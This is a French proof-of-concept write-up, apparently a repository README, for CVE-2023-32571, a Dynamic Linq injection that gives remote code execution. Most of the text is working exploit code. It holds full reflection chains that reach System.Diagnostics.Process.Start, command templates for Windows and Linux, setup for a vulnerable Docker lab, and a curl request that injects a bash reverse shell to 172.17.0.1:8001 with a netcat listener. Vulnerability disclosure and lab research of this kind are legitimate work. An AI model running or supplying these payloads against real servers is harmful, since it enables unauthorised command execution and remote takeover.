
Récemment, des membres du NCC Group ont découvert une vulnérabilité dans Dynamic Linq qui permet aux attaquants d'appeler des fonctions C# via une injection Linq, permettant ainsi d'obtenir une RCE.
Même avec le rapport sur la RCE dans Dynamic Linq, les membres du NCC Group n'ont pour une raison quelconque pas rendu le POC disponible pour exécuter des commandes.
Comme indiqué dans la recherche du NCC Group, nous pouvons appeler des méthodes C# via "Invoke". Avec cela, nous pouvons appeler "System.Diagnostics.Process.Start" et exécuter des commandes sur le serveur.
Nous pouvons utiliser la méthode "CreateInstanceFromAndUnwrap" pour appeler System.Diagnostics.Process via l'assembly.
Payload pour utiliser la méthode System.AppDomain.CreateInstanceAndUnwrap :
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()
Payload pour appeler System.Diagnostics.Process via la méthode CreateInstanceAndUnwrap :
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))
En accédant aux méthodes de la classe System.Diagnostics.Process, nous pouvons utiliser la méthode System.Diagnostics.Process.Start pour exécuter des commandes sur le système :
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))
Obs : Notez que le payload recherche les 3 premières méthodes Start et prend la dernière. J'ai fait cela car la liste des méthodes dans System.Diagnostics.Process avait plusieurs méthodes Start, et celle dont nous avons besoin est la troisième sur la liste.
Cibles Windows
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))
Installez docker et docker-compose :
Debian
sudo apt update -y && sudo apt install docker.io docker-compose -y
sudo pacman -Syu && sudo pacman -S docker docker-compose
Clonez ce dépôt :
git clone https://github.com/Tris0n/CVE-2023-32571-POC
cd CVE-2023-32571-POC
sudo docker-compose up --build
L'application démarre sur http://localhost:8000/
En accédant à la route "/api/products" via la méthode POST, nous voyons qu'elle retourne une liste de produits :
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

En envoyant le paramètre name en JSON, nous pouvons filtrer les produits :
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

Après quelques tests, nous constatons que nous avons pu injecter dans la requête Dynamic Linq. En envoyant le payload suivant, nous avons pu obtenir un reverse shell :
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

nc -lvp 8001
